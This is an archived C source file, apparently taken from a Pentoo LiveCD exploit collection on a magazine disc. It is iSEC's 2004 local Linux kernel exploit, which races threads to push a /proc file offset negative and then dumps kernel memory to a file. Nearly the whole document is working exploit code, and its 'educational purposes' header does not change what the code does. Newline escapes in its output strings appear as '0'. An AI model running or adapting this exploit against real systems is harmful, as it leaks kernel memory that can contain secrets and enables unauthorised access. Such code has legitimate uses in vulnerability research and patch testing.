home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / linuxKernelFileOffsetPointerHandlingExploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  206 lines

  1. /*
  2.  *
  3.  *  /proc ppos kernel memory read (semaphore method)
  4.  *
  5.  *  gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
  6.  *
  7.  *  Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  8.  *
  9.  *  THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  10.  *  AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  11.  *  WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  12.  *
  13.  */
  14.  
  15.  
  16. #define _GNU_SOURCE
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <signal.h>
  21. #include <string.h>
  22. #include <errno.h>
  23. #include <unistd.h>
  24. #include <fcntl.h>
  25. #include <time.h>
  26. #include <sched.h>
  27.  
  28. #include <sys/socket.h>
  29. #include <sys/select.h>
  30. #include <sys/time.h>
  31. #include <sys/mman.h>
  32.  
  33. #include <linux/unistd.h>
  34.  
  35. #include <asm/page.h>
  36.  
  37.  
  38. //  define machine mem size in MB
  39. #define MEMSIZE 64
  40.  
  41.  
  42.  
  43. _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
  44.           uint, wh);
  45.  
  46.  
  47.  
  48. void fatal(const char *msg)
  49. {
  50.     printf("0");
  51.     if(!errno) {
  52.         fprintf(stderr, "FATAL ERROR: %s0", msg);
  53.     }
  54.     else {
  55.         perror(msg);
  56.     }
  57.  
  58.     printf("0");
  59.     fflush(stdout);
  60.     fflush(stderr);
  61.     exit(31337);
  62. }
  63.  
  64.  
  65. static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
  66.            size=PAGE_SIZE, us;
  67. static volatile int go[2];
  68. static loff_t off;
  69. static char *buf=NULL, *file, child_stack[PAGE_SIZE];
  70. static struct timeval tv1, tv2;
  71. static struct stat st;
  72.  
  73.  
  74. //  child close sempahore & sleep
  75. int start_child(void *arg)
  76. {
  77. //  unlock parent & close semaphore
  78.     go[0]=0;
  79.     madvise(file, csize, MADV_DONTNEED);
  80.     madvise(file, csize, MADV_SEQUENTIAL);
  81.     gettimeofday(&tv1, NULL);
  82.     read(pfd, buf, 0);
  83.  
  84.     go[0]=1;
  85.     r = madvise(file, csize, MADV_WILLNEED);
  86.     if(r)
  87.         fatal("madvise");
  88.  
  89. //  parent blocked on mmap_sem? GOOD!
  90.     if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) {
  91.         r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET);
  92.             if( r == -1 )
  93.                 fatal("lseek");
  94.         printf("0 Race won!"); fflush(stdout);
  95.         go[0]=2;
  96.     } else {
  97.         printf("0 Race lost %d, use another file!0", go[1]);
  98.         fflush(stdout);
  99.         kill(getppid(), SIGTERM);
  100.     }
  101.     _exit(1);
  102.  
  103. return 0;
  104. }
  105.  
  106. void usage(char *name)
  107. {
  108.     printf("0SAGE: %s <file not in cache>", name);
  109.     printf("0");
  110.     exit(1);
  111. }
  112.  
  113.  
  114. int main(int ac, char **av)
  115. {
  116.     if(ac<2)
  117.         usage(av[0]);
  118.  
  119. //  mmap big file not in cache
  120.     r=stat(av[1], &st);
  121.     if(r)
  122.         fatal("stat file");
  123.     csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
  124.  
  125.     fd=open(av[1], O_RDONLY);
  126.     if(fd<0)
  127.         fatal("open file");
  128.     file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
  129.     if(file==MAP_FAILED)
  130.         fatal("mmap");
  131.     close(fd);
  132.     printf("0 mmaped uncached file at %p - %p", file, file+csize);
  133.     fflush(stdout);
  134.  
  135.     pfd=open("/proc/mtrr", O_RDONLY);
  136.     if(pfd<0)
  137.         fatal("open");
  138.  
  139.     fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
  140.     if(fd<0)
  141.         fatal("open data");
  142.  
  143.     r=ftruncate(fd, fsize);
  144.     if(r<0)
  145.         fatal("ftruncate");
  146.  
  147.     buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  148.     if(buf==MAP_FAILED)
  149.         fatal("mmap");
  150.     close(fd);
  151.     printf("0 mmaped kernel data file at %p", buf);
  152.     fflush(stdout);
  153.  
  154. //  clone thread wait for child sleep
  155.     nc = nice(0);
  156.     cpid=clone(&start_child, child_stack + sizeof(child_stack)-4,
  157.            CLONE_FILES|CLONE_VM, NULL);
  158.     nice(19-nc);
  159.     while(go[0]==0) {
  160.         i++;
  161.     }
  162.  
  163.  
  164. //  try to read & sleep & move fpos to be negative
  165.     gettimeofday(&tv1, NULL);
  166.     go[1] = 1;
  167.     r = read(pfd, buf, size );
  168.     go[1] = 2;
  169.     gettimeofday(&tv2, NULL);
  170.     if(r<0)
  171.         fatal("read");
  172.     while(go[0]!=2) {
  173.         i++;
  174.     }
  175.  
  176.     us = tv2.tv_sec - tv1.tv_sec;
  177.     us *= 1000000;
  178.     us += (tv2.tv_usec - tv1.tv_usec) ;
  179.  
  180.     printf("0 READ %d bytes in %d usec", r, us); fflush(stdout);
  181.     r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
  182.     if(r < 0 ) {
  183.         printf("0 SUCCESS, lseek fails, reading kernel mem...0");
  184.         fflush(stdout);
  185.         i=0;
  186.         for(;;) {
  187.             r = read(pfd, buf, PAGE_SIZE );
  188.             if(r!=PAGE_SIZE)
  189.                 break;
  190.             buf += PAGE_SIZE;
  191.             i++;
  192.        printf(" PAGE %6d", i); fflush(stdout);
  193.         }
  194.         printf("0 done, err=%s", strerror(errno) );
  195.         fflush(stdout);
  196.     }
  197.     close(pfd);
  198.  
  199.     printf("0");
  200.     sleep(1);
  201.     kill(cpid, 9);
  202.  
  203. return 0;
  204. }
  205.  
  206.